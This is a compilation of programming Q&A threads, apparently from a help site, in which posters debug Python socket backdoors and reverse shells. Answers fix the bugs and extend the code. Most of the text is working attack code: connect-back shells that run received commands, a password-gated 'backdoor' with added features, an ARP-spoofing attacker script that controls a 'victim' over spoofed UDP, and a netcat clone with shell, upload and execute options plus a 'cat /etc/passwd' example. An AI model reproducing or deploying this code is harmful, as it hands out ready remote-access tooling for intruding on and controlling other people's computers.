Python executes my else even though my if statement is true - python

For some reason it wont go into my if statement.
When I connect through netcat and I type my password it skips to the else statement even though I have typed in the correct password.
#i/usr/bin/python
import subprocess,socket
HOST = '192.168.1.104'
PORT = 25565
passwd = "gareth"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('Connection established\n')
s.send("Enter Password: ")
pw = s.recv(1023)
if pw == passwd:
s.send("Gareth's backdoor\n")
else:
s.send("Wrong password\n")
s.close()
while 1:
data = s.recv(1023)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
# exit the loop
s.send('Bye now.')
s.close()

It looks like when you enter gareth new line added as well. So, you need to remove that tail before comparison.

Related

How can I use commands when connecting computers through socket?

I set up a python script to connect two computers with sockets and am trying to run commands from terminal. The script will hopefully run the commands on the host onto the client but it doesnt recognize any commands. My code for the server is
import socket
HOST = '0.0.0.0'
PORT = 12345
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(5)
print("\n[*] Listening on port " +str(PORT)+ ", waiting for connexions.")
client_socket, (client_ip, client_port) = server_socket.accept()
print("[*] Client " +client_ip+ " connected.\n")
while True:
try:
command = input(client_ip+ ">")
if(len(command.split()) != 0):
client_socket.send(bytes(command, 'utf-8'))
else:
continue
except(EOFError):
print("Invalid input, type 'help' to get a list of implemented commands.\n")
continue
if(command == "quit"):
break
data = client_socket.recv(1024)
print((data + b"\n"))
client_socket.close()
and the client is
import socket
import subprocess, os
HOST = ''
PORT = 12345
connexion_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connexion_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
connexion_socket.connect((HOST, PORT))
print('\n[*] Connected to " +HOST+ " "on port" +str(PORT+) ".\n"')
while True:
command = str(connexion_socket.recv(1024))
split_command = command.split()
print('Received command : ' +command)
if command == 'quit':
break
if(command.split()[0] == 'cd'):
if len(command.split()) == 1:
connexion_socket.send((os.getcwd()))
elif len(command.split()) == 2:
try:
os.chdir(command.split()[1])
connexion_socket.send(('Changed Directory to' + os.getcwd()))
except:
connexion_socket.send(str.encode('No such directory : ' +os.getcwd()))
else:
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
print(str(stdout_value) + '\n')
if(stdout_value != ''):
connexion_socket.send(stdout_value)
else:
connexion_socket.send(command+ ' does not return anything')
Whenever I try to run a command like 'ipconfig' or 'cd' i get the error
"is not recognized as an internal or external command,\r\noperable program or batch file.\r\n\n"
Any help is appreciated, Thanks!

How to handle rm and cp commands in a reverse shell

i'm creating a reverse shell for a linux backdoor for fun, and I got it working to a point. Most commands work like "cd", "ifconfig", and "ls". But commands like "cp" and "rm" work on the victim computer, but I don't get any output on my side (the attacker), I get this error when I try to "rm" or "cp":
Can you guys help me try and handle this? I know cp doesn't actually output anything, and my program expects an output. Even though I get this error on my end, when I look at the victim I can still see the action (cp, or rm) go through. Another alternative is whenever I get this error, I can get my program to just prompt for a command again.
Any help would be sick!
Attacker code:
import sys
import socket
import threading
import time
from logging import getLogger, ERROR
from scapy.all import *
getLogger('scapy.runtime').setLevel(ERROR)
try:
victimIP = raw_input('Enter victim IP: ')
spoofIP = raw_input('Enter IP you want to spoof: ')
IF = raw_input('Enter network interface: ')
except KeyboardInterrupt:
print '[!] User Interrupted Input'
sys.exit(1)
conf.verb = 0
def getMAC():
try:
pkt = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = victimIP), timeout = 2, iface = IF, inter = 0.1)
except Exception:
print '[!] Failed to Resolve Victim MAC Address'
sys.exit(1)
for snd, rcv in pkt[0]:
return rcv.sprintf(r"%Ether.src%")
print '\n[*] Resolving Victim MAC Address... '
victimMAC = getMAC()
spoofStatus = True
def poison():
while 1:
if spoofStatus == False:
break
return
send(ARP(op=2, pdst=victimIP, psrc=spoofIP, hwdst=victimMAC))
time.sleep(5)
print '\n[*] Starting Spoofer Thread...'
thread = []
try:
poisonerThread = threading.Thread(target=poison)
thread.append(poisonerThread)
poisonerThread.start()
print '[*] Thread Started Successfully\n'
except Exception:
print '[!] Failed to Start Thread'
sys.exit(1)
print 'Initializing connection with victim...'
pkt1 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='hello victim'))
pkt2 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='report'))
prompt = pkt2.getlayer(Raw).load
print 'Initialization Complete'
print '[*] Enter "goodbye" to Stop Connection\n'
while 1:
command = raw_input(prompt)
sendcom = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load=command))
output = sendcom.getlayer(Raw).load
if command.strip() == 'goodbye':
print '\nGrabbing Threads...'
spoofStatus = False
poisonerThread.join()
sys.exit(1)
print output
Victim code:
import socket
import os
import sys
import platform
def launch():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('', 77))
launch = s.recvfrom(1024)
addr = launch[1][0]
port = launch[1][1]
s.sendto('hello paul', (addr, port))
return s, addr, port
s, addr, port = launch()
def getsysinfo():
que = s.recvfrom(1024)
prompt = []
if que[1][0] == addr and que[1][1] == port:
if os.getuid() == 0:
prompt.append('root#')
prompt.append('# ')
else:
prompt.append('user#')
prompt.append('$ ')
prompt.insert(1, platform.dist()[0])
s.sendto(''.join(prompt), (addr, port))
return
getsysinfo()
def shell():
while 1:
try:
command = s.recv(1024)
if command.strip().split()[0] == 'cd':
os.chdir(command.strip('cd '))
s.sendto('Changed Directory', (addr, port))
elif command.strip() == 'goodbye':
s.sendto('Goodbye paul', (addr, port))
s.close()
break
else:
proc = os.popen(command)
output = ''
for i in proc.readlines():
output += i
output = output.strip()
s.sendto(output, (addr, port))
except Exception:
s.sendto('An unexpected error has occured', (addr, port))
pass
shell()
I fixed it by adding this bit of code:
try:
output = sendcom.getlayer(Raw).load
except AttributeError:
continue

Python backdoor

So hello everybody, Im building a python backdoor. So when I start the netcat for listener and I start the backdoor it connects and everything but when I type ipconfig for example it says "The specified file directory cannot be found" or something like that. Here is the code:
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.1.7' # IP for remote connection
PORT = 4444 # Port for remote connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(b'\nYou are connected !\n\nConsole > ')
while 1:
data = s.recv(1024)
if data == 'quit' : break
proc = subprocess.Popen(str(data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(b'\n' + stdoutput)
# Exiting
s.send(b'\nExiting...\n')
s.close()
Try this:
Hope its not too much. I added a few features as well.
You're godamm welcome :)
#!/usr/bin/python
# Import the required librarys for the job
import subprocess
import socket
import os
# Set variables used in the script
HOST = '10.0.0.98' # IP for remote connection
PORT = 4444 # Port for remote connection
PASS = 'Te$t!2#456' # For making the script secure
# Create the socket that will be used
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# This method will be used for handling the exit when you type -quit
def Quit():
s.send(' [<] Hope to see you soon :)\n')
s.close()
Connect()
# This method will wait until the connection is alive
def Connect():
s.connect((HOST, PORT))
s.send('''\n
+--------------------+
| You are connected! |
+--------------------+
| X IS Something err!! |
| < IS Incomming!! |
| > IS Outgoing!! |
+--------------------+
''')
Login()
# Ask for login; if they do not get it right it will ask again ect ect etc
def Login():
s.send(' [>] Please login #>> ')
pwd = s.recv(1024)
if pwd.strip() == PASS:
Shell()
else:
s.send(' [X] Incorrect Login!!\n')
Login()
# Main method -- Hope I'm not pissing you off by calling it a method, I'm used to C# lol ;)
def Shell():
s.send(' [<] We\'re in :)\n [>]-{ ' + os.curdir + ' } Console #>> ')
while 1:
data = s.recv(1024)
# Make sure that you use '-quit'!!
if data.upper()[:5] == '-QUIT' : break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = " [<] " + proc.stdout.read() + proc.stderr.read()
s.send('\n\n' + stdoutput + '\n\n')
s.send(' [>]-{ ' + os.curdir + ' } Console #>> ')
Quit()
Connect()

Connection refused trying to connect to server

I am playing around with a little netcat tool of my own, but I keep getting "Connection refused" and a reference to a specific line, I've highlighted that below.
First I run the server, with the following command:
python Netstatx.py -l -p 9999 -c
Then I run the "client" which tries to make a connection to the server, which is listening on port 9999:
python Netstatx.py -t localhost -p 9999
As mentioned, the above gives me an "Connected refused"-exception, how come?
import sys
import socket
import getopt
import threading
import subprocess
# Define globals
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "Netstatx - Net Tool for your convenience"
print
print "Usage: Netstatx.py -t target_host -p port"
print "-l --listen - Listen on [host]:[port] for
incoming connections"
print "-e --execute=file_to_run - Execute the given file upon
receiving a connection"
print "-c --command - Initialize a command shell"
print "-u --upload=destination - Upon receiving connection,
upload a file and write to
[destination]"
print
print
print "Examples: "
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -c"
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -u=\\target.exe"
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
sys.exit(0)
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "%s:%s" % (target, port)
# Connect to our target host
**client.connect((target, port))** <-- This is failing.
if len(buffer):
client.send(buffer)
while True:
# Now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response,
# Wait for more input
buffer = raw_input("")
buffer += "\n"
# Send it off
client.send(buffer)
def server_loop():
global target
# If no target is defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# Spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# Read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help","listen","execute","target","port","command",
"upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled option!"
# Are we going to listen or just send data?
# if not listen and len(target) and port > 0
# Read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# Send data off
client_sender(buffer)
# We are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
main()
def run_command(command):
# trim the newline
command = command.rstrip()
# Run the command and get the output back
try:
output = subprocess.check_output(command,
stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command. \r\n"
# Send the output back to the client return output
return output
def client_handler(client_socket):
global upload
global execute
global command
# Check for upload
if len(upload_destination):
# Read on all of the bytes and write to our destination
file_buffer = ""
# Keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# Now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# Acknowledge that we rote the file out
client_socket.send("Successfully saved file to %s\r\n" %
upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" %
upload_destination)
# Check for command execution
if len(execute):
# Run the command
output = run_command(execute)
client_socket.send(output)
# Now we go into another loop if a command shell was requested
if command:
while True:
# Show a simple prompt
client_socket.send("<Netstatx:#> ")
# Now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# Send back the command output
response = run_command(cmd_buffer)
# Send back the response
client_socket.send(response)
import sys
import socket
import getopt
import threading
import subprocess
#define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "Net Tool"
print
print "Usage : netcat.py -t target_host -p port"
print "-l --listen -listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection "
print "-c --command -intialize a command shell"
print "-u --upload=destination -upon receiving connection upload a file and write to [destination]"
print
print
print "Examples : "
print "netcat.py -t 192.168.0.1 -p 5555 -l -c"
print "netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEEGHI' | ./netcat.py -t 192.168.11.12 -p 135"
sys.exit(0)
def run_command(command):
#trim the newline
command= command.rstrip()
#run the command get the output back
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
#send the output back to the client
return output
def client_handler(client_socket):
global upload
global execute
global command
#check for upload
if len(upload_destination):
#read in all of the bytes and write to our destination
file_buffer= ""
#keep reading data until none is available
while True:
data= client.socket.recv(1024)
if not data:
break
else:
file_buffer += data
#now we take these bytes and try to write them out
try:
file_descriptor=open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#aknowledg that we wrote the file out
client_socket.send("Successfully saved file to %s \r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s \r\n" % upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ")
# now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# send back the command output
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
def client_sender(buffer):
client= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#connect to our target host
client.connect((target,port))
if len(buffer):
client.send(buffer)
while True:
#now wait for data back
recv_len=1
response=""
while recv_len:
data = client.recv(4096)
recv_len= len(data)
response+=data
if recv_len<4096:
break
print response,
#wait for more input
buffer = raw_input("")
buffer+= "\n"
# send it off
client.send(buffer)
except:
print "[*] Exception! Exiting."
client.close()
def server_loop():
global target
#if no target is defined , we listen on all interfaces
if not len(target):
target ="0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
#spin off a thread to handl our new client
client_thread= threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
#read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l","--listen"):
listen=True
elif o in ("-e", "--execute"):
execute =a
elif o in ("-c", "--commandshell"):
command= True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target =a
elif o in ("-p", "--port"):
port=int(a)
else :
assert False, "unhandled option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port> 0 :
#read in the buffer from the cmdline
#this will block, so send CTRL-D if not sending input
#to stdin
buffer = sys.stdin.read()
client_sender(buffer)
#we are goin to listen and potentially
#upload things, execute commands, and drop a shell back
#depending on our command line options above
if listen :
server_loop()
main()
I found some syntax errors running out your script ( it may be just from copy past), any way i did my small edits and it's working (knowing i'm under linux)
Your problem may be the firewall is refusing connection on that port, try to check it out

python - ls-l problems executing popen

I have a remote shell that does not work very well. When I run the command ls -l brings me a good result, but when I run the following command, ls -l runs again. i dont know which one my is error.
I use linux and python 2.7
server.py
import socket, shlex
import subprocess
PORT = 9999
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('',PORT))
sock.listen(4)
sc, addr = sock.accept()
while True:
comando = sc.recv(255)
if comando == 'exit':
break
else:
print comando
if " " in comando:
comando = shlex.split(comando)
shell = subprocess.Popen(comando,bufsize=255, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
else:
shell = subprocess.Popen(comando, shell=True, bufsize=255,stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
stdout, stderr = shell.communicate()
if not stdout:
stdout = shell.stderr.read()
if len(stdout) == 0:
stdout = "[Comando ejecutado]"
sc.send(stdout)
sc.close()
sock.close()
client.py
import socket, sys, os
s = socket.socket()
s.connect(("localhost", 9999))
mensaje = ""
while mensaje != "exit":
mensaje = raw_input("Shell# ")
try:
s.send(mensaje)
resultado = s.recv(2048)
print resultado
except:
print "Hubo un error en la conexion..."
mensaje = "exit"
print "bye..."
s.close()
I guess the error is with popen and childs
A few comments:
don't use shell=True unless you have to
subprocess.check_output() is the easiest way to run a command, check if it fails or not, and get the output
when an error happens, print out the status code to help track down what's going on. Sometimes the command isn't being parsed correctly, ie a space in the filename.
source
import socket, shlex
import subprocess
PORT = 9999
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('',PORT))
sock.listen(5)
sc, addr = sock.accept()
while True:
comando = sc.recv(255).rstrip()
print 'got:',comando
if not comando:
break
elif comando == 'exit':
break
comando = shlex.split(comando)
print comando
output = 'ERROR'
try:
output = subprocess.check_output(
comando,
stdin=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=False,
)
except subprocess.CalledProcessError as err:
output = "[Comando ejecutado] status={}".format(err.returncode)
sc.send(output)
sc.close()
sock.close()

Categories

Resources